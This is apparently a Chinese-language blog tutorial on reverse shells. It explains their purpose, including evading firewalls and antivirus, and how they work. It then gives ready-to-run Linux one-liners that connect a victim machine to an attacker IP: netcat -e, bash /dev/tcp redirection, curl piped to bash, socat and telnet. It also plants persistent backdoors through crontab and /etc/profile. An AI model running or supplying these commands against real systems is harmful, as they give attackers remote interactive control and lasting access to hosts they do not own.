一、含义
客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)
二、适用情况
1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求
2、目标机端口被占用
3、目标机位于局域网
4、IP会动态变化
5、攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
6、遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
三、原理
1.攻击者A开启19111端口TCP服务
2.受害者B连接19111端口TCP服务
3.A、B建立TCP连接
4.A通过TCP服务将待执行命令发送到B
5.B执行命令后将结果发送给A
四、方式
1、linux反弹shell
(1)netcat反弹shell
攻击机开启本地监听:
netcat -lvvp 2333
-l
: 表示 listen
模式,即使 netcat
以服务器的方式监听连接请求。
-v
: 表示 verbose
模式,使 netcat
在执行时显示更多详细信息。(-v
: 显示基本的信息。-vv
: 显示更详细的信息。-vvv
: 显示更加详细和详尽的信息。)
-p 2333
: 表示使用指定的端口号,这里是端口号 2333。-p
选项用于指定端口。
目标机主动连接攻击机:
netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
整个命令的作用是,netcat
将连接到指定的目标主机(IP地址或主机名为 47.xxx.xxx.72
),连接到指定的端口(端口号为 2333
),然后在成功连接后,在目标主机(攻击机)上启动一个 Bash shell。这就创建了一个远程 shell 连接,使得用户可以在目标主机上执行命令。
执行效果如下:


(2)利用bash反弹shell
攻击机开启本地监听:
netcat -lvvp 2333
目标机主动连接攻击机:
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
或bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
注:/dev/{tcp|udp}/${host}/${port} 这个功能只在 bash 中存在,其它的 shell 如 sh、dash、zsh 中是没有的。


命令 | 命令详解 |
---|---|
bash -i | 表示以交互模式启动 Bash,即允许用户与 shell 进行交互。 |
>& /dev/tcp/47.xxx.xxx.72/2333 | Linux环境中所有的内容都是以文件的形式存在的。在这里,它表示将 Bash 的标准输出和标准错误重定向到指定 IP 地址(47.xxx.xxx.72 )和端口号(2333 ),让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
0>&1 | 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容(也就是目标机的输入由攻击机给出) |
(3)Curl 配合
首先,在攻击机的web目录里面创建一个index文件,(index.php或index.html),内容如下:
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
并开启2333端口的监听
然后再目标上执行如下,即可反弹shell:
curl 47.xxx.xxx.72|bash
#curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等


(4)将反弹shell的命令写入定时任务
一般使用cron服务创建定时任务,创建的定时任务文件在/var/spool/cron/[crontabs]/<username>文件夹里,
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
需要使用crontab -e来编辑任务文件
*/1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell
(5)将反弹shell名号了写入/etc/profile文件
/etc/profile
是一个系统级别的 shell 配置文件,用于设置系统的全局环境变量和执行系统范围的初始化操作。它对所有登录到系统的用户都起作用。
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 & #最后面那个&为的是防止管理员无法输入命令
(5)利用socat反弹shell
Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版
攻击机开启本地监听
socat TCP-LISTEN:2333 -或nc -lvvp 2333
目标主机连接攻击机
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
(6)利用Telnet反弹shell
方法一
攻击机开启本地监听
nc -lvvp 2333
目标机主动连接攻击机
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
方法二
攻击机开启两个本地监听
nc -lvvp 2333
nc -lvvp 4000
目标机主动连接攻击机
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
获得shell后,在攻击机2333端口的终端上输入的命令会在目标机上执行,执行的回显将通过4000端口的终端显示出来。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。